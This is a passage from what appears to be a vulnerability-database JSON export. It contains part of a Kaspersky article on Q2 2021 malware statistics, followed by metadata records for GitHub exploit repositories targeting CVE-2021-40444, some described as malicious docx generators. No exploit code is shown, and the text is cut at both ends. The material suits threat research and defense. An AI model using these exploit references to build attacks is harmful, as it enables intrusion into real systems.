[HAFNIUM](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) group.\n\n## Attacks on macOS\n\nAs for threats to the macOS platform, Q2 will be remembered primarily for the appearance of new samples of the XCSSET Trojan. Designed to steal data from browsers and other applications, the malware is notable for spreading itself through infecting projects in the Xcode development environment. The Trojan takes the form of a bash script packed with the SHC utility, allowing it to evade macOS protection, which does not block script execution. During execution of the script, the SHC utility uses the RC4 algorithm to decrypt the payload, which, in turn, downloads additional modules.\n\n**Top 20 threats for macOS**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | AdWare.OSX.Pirrit.j | 14.47 \n2 | AdWare.OSX.Pirrit.ac | 13.89 \n3 | AdWare.OSX.Pirrit.o | 10.21 \n4 | AdWare.OSX.Pirrit.ae | 7.96 \n5 | AdWare.OSX.Bnodlero.at | 7.94 \n6 | Monitor.OSX.HistGrabber.b | 7.82 \n7 | Trojan-Downloader.OSX.Shlayer.a | 7.69 \n8 | AdWare.OSX.Bnodlero.bg | 7.28 \n9 | AdWare.OSX.Pirrit.aa | 6.84 \n10 | AdWare.OSX.Pirrit.gen | 6.44 \n11 | AdWare.OSX.Cimpli.m | 5.53 \n12 | Trojan-Downloader.OSX.Agent.h | 5.50 \n13 | Backdoor.OSX.Agent.z | 4.64 \n14 | Trojan-Downloader.OSX.Lador.a | 3.92 \n15 | AdWare.OSX.Bnodlero.t | 3.64 \n16 | AdWare.OSX.Bnodlero.bc | 3.36 \n17 | AdWare.OSX.Ketin.h | 3.25 \n18 | AdWare.OSX.Bnodlero.ay | 3.08 \n19 | AdWare.OSX.Pirrit.q | 2.84 \n20 | AdWare.OSX.Pirrit.x | 2.56 \n \n_* Unique users who encountered this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked._\n\nAs in the previous quarter, a total of 15 of the Top 20 threats for macOS are adware programs. The Pirrit and Bnodlero families have traditionally stood out from the crowd, with the former accounting for two-thirds of the total number of threats.\n\n### Geography of threats for macOS\n\n_Geography of threats for macOS, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141728/10-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | India | 3.77 \n2 | France | 3.67 \n3 | Spain | 3.45 \n4 | Canada | 3.08 \n5 | Italy | 3.00 \n6 | Mexico | 2.88 \n7 | Brazil | 2.82 \n8 | USA | 2.69 \n9 | Australia | 2.53 \n10 | Great Britain | 2.33 \n \n_* Excluded from the rating are countries with relatively few users of Kaspersky security solutions for macOS (under 10,000)._ \n_** Unique users attacked as a percentage of all users of Kaspersky security solutions for macOS in the country._\n\nIn Q2 2021, first place by share of attacked users went to India (3.77%), where adware applications from the Pirrit family were most frequently encountered. A comparable situation was observed in France (3.67%) and Spain (3.45%), which ranked second and third, respectively.\n\n## IoT attacks\n\n### IoT threat statistics\n\nIn Q2 2021, as before, most of the attacks on Kaspersky traps came via the Telnet protocol.\n\nTelnet | 70.55% \n---|--- \nSSH | 29.45% \n \n_Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q2 2021_\n\nThe statistics for cybercriminal working sessions with Kaspersky honeypots show similar Telnet dominance.\n\nTelnet | 63.06% \n---|--- \nSSH | 36.94% \n \n_Distribution of cybercriminal working sessions with Kaspersky traps, Q2 2021_\n\n**Top 10 threats delivered to IoT devices via Telnet**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | Backdoor.Linux.Mirai.b | 30.25% \n2 | Trojan-Downloader.Linux.NyaDrop.b | 27.93% \n3 | Backdoor.Linux.Mirai.ba | 5.82% \n4 | Backdoor.Linux.Agent.bc | 5.10% \n5 | Backdoor.Linux.Gafgyt.a | 4.44% \n6 | Trojan-Downloader.Shell.Agent.p | 3.22% \n7 | RiskTool.Linux.BitCoinMiner.b | 2.90% \n8 | Backdoor.Linux.Gafgyt.bj | 2.47% \n9 | Backdoor.Linux.Mirai.cw | 2.52% \n10 | Backdoor.Linux.Mirai.ad | 2.28% \n \n_* Share of each threat delivered to infected devices as a result of a successful Telnet attack out of the total number of delivered threats._\n\nDetailed IoT threat statistics are published in our Q2 2021 DDoS report: <https://securelist.com/ddos-attacks-in-q2-2021/103424/#attacks-on-iot-honeypots>\n\n## Attacks via web resources\n\n_The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Cybercriminals create such sites on purpose and web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected._\n\n### Countries that serve as sources of web-based attacks: Top 10\n\n_The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites hosting malicious programs, botnet C&C centers, etc.). Any unique host could be the source of one or more web-based attacks._\n\n_To determine the geographic source of web attacks, the GeoIP technique was used to match the domain name to the real IP address at which the domain is hosted._\n\nIn Q2 2021, Kaspersky solutions blocked 1,686,025,551 attacks from online resources located across the globe. 675,832,360 unique URLs were recognized as malicious by Web Anti-Virus components.\n\n_Distribution of web-attack sources by country, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141800/13-en-malware-report-q2-2021-graphs-pc.png>))_\n\n### Countries where users faced the greatest risk of online infection\n\nTo assess the risk of online infection faced by users in different countries, for each country we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.\n\nThis rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Belarus | 23.65 \n2 | Mauritania | 19.04 \n3 | Moldova | 18.88 \n4 | Ukraine | 18.37 \n5 | Kyrgyzstan | 17.53 \n6 | Algeria | 17.51 \n7 | Syria | 15.17 \n8 | Uzbekistan | 15.16 \n9 | Kazakhstan | 14.80 \n10 | Tajikistan | 14.70 \n11 | Russia | 14.54 \n12 | Yemen | 14.38 \n13 | Tunisia | 13.40 \n14 | Estonia | 13.36 \n15 | Latvia | 13.23 \n16 | Libya | 13.04 \n17 | Armenia | 12.95 \n18 | Morocco | 12.39 \n19 | Saudi Arabia | 12.16 \n20 | Macao | 11.67 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000)._ \n_** Unique users targeted by **Malware-class** attacks as a percentage of all unique users of Kaspersky products in the country._\n\n_These statistics are based on detection verdicts by the Web Anti-Virus module that were received from users of Kaspersky products who consented to provide statistical data._\n\nOn average during the quarter, 9.43% of computers of Internet users worldwide were subjected to at least one **Malware-class** web attack.\n\n_Geography of web-based malware attacks, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141830/14-en-malware-report-q2-2021-graphs-pc.png>))_\n\n## Local threats\n\n_In this section, we analyze statistical data obtained from the OAS and ODS modules in Kaspersky products. It takes into account malicious programs that were found directly on users' computers or removable media connected to them (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.)._\n\nIn Q2 2021, our File Anti-Virus detected **68,294,298** malicious and potentially unwanted objects.\n\n### Countries where users faced the highest risk of local infection\n\nFor each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.\n\nNote that this rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Turkmenistan | 49.38 \n2 | Tajikistan | 48.11 \n3 | Afghanistan | 46.52 \n4 | Uzbekistan | 44.21 \n5 | Ethiopia | 43.69 \n6 | Yemen | 43.64 \n7 | Cuba | 38.71 \n8 | Myanmar | 36.12 \n9 | Syria | 35.87 \n10 | South Sudan | 35.22 \n11 | China | 35.14 \n12 | Kyrgyzstan | 34.91 \n13 | Bangladesh | 34.63 \n14 | Venezuela | 34.15 \n15 | Benin | 32.94 \n16 | Algeria | 32.83 \n17 | Iraq | 32.55 \n18 | Madagascar | 31.68 \n19 | Mauritania | 31.60 \n20 | Belarus | 31.38 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000)._ \n_** Unique users on whose computers **Malware-class** local threats were blocked, as a percentage of all unique users of Kaspersky products in the country._\n\n_Geography of local infection attempts, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141906/15-en-malware-report-q2-2021-graphs-pc.png>))_\n\nOn average worldwide, **Malware-class** local threats were recorded on 15.56% of users' computers at least once during the quarter. Russia scored 17.52% in this rating.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-08-12T10:00:12", "type": "securelist", "title": "IT threat evolution in Q2 2021. PC statistics", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2017-8570", "CVE-2018-0802", "CVE-2020-1472", "CVE-2021-1675", "CVE-2021-21220", "CVE-2021-28310", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-31166", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-33742", "CVE-2021-34527"], "modified": "2021-08-12T10:00:12", "id": "SECURELIST:BB0230F9CE86B3F1994060AA0A809C08", "href": "https://securelist.com/it-threat-evolution-in-q2-2021-pc-statistics/103607/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "githubexploit": [{"lastseen": "2023-05-23T17:38:15", "description": "# CVE-2021-40444 PoC\n\nMalicious docx generator to exploit CVE-20...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-25T05:13:05", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-11-25T05:13:19", "id": "7643EC22-CCD0-56A6-9113-B5EF435E22FC", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-17T02:36:46", "description": "# CVE-2021-40444\n\n## Usage\n\nEnsure to run `setup.sh` first as yo...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-03T01:13:42", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2023-09-16T21:47:57", "id": "9366C7C7-BF57-5CFF-A1B5-8D8CF169E72A", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:35:39", "description": "# cve-2021-40444\nReverse engineering the \"A Letter Before Court ...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-12T09:27:40", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-12T12:00:29", "id": "E06577DB-A581-55E1-968E-81430C294A84", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T19:05:00", "description": "# CVE-2021-40444 Analysis\n\nThis repository contains the deobfusc...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-09T15:43:08", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-14T08:18:40", "id": "7333A285-768C-5AD9-B64E-0EC75F075597", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:34:39", "description": "# CVE-2021-40444 PoC\n\nMalicious docx generator to exploit CVE-20...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-11T09:21:29", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-20T15:39:54", "id": "0D0DAF60-4F3C-5B17-8BAB-5A8A73BC25CC", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T19:04:54", "description": "# Caboom\n\n```\n \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557 \u2588...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-11T16:31:05", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-05-13T12:52:15", "id": "6BC80C90-569E-5084-8C0E-891F12F1805E", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-15T21:37:40", "description": "# CVE-2021-40444 PoC\n\nMalicious docx generator to exploit CVE-20...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-10T16:55:53", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-08-15T15:41:32", "id": "72881C31-5BFD-5DAF-9D20-D6170EEC520D", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:34:08", "description": "MSHTMHell: Malicious document bui...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-11T15:33:41", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-14T13:49:09", "id": "588DA6EE-E603-5CF2-A9A3-47E98F68926C", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-18T09:23:03", "description": "# CVE-2021-40444-CAB\nCVE-2021-40444 - Custom CAB templates from ...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-16T10:14:08", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-10-09T17:56:16", "id": "24DE1902-4427-5442-BF63-7657293966E2", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": 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"privateArea": 1}, {"lastseen": "2023-06-05T05:19:33", "description": "# CVE-2021-40444 PoC\n\nMalicious docx generator to exploit CVE-20...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-06-05T02:27:21", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", 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"AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T19:03:37", "description": "# CVE-2021-40444-URL-Extractor\n\nPython script to extract embedde...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-16T16:54:50", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", 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"published": "2021-11-22T13:29:20", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-11-22T13:41:39", "id": "DD5D2BF7-BE9D-59EA-8DF2-D85AEC13A4A0", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-01-26T03:16:25", "description": "# CVE-2021-40444-POC\nAn attempt to reproduce Microsoft MSHTML Re...", "cvss3": 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just wanted to play a...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-12-05T14:49:32", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": 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the...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-05T12:10:43", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, 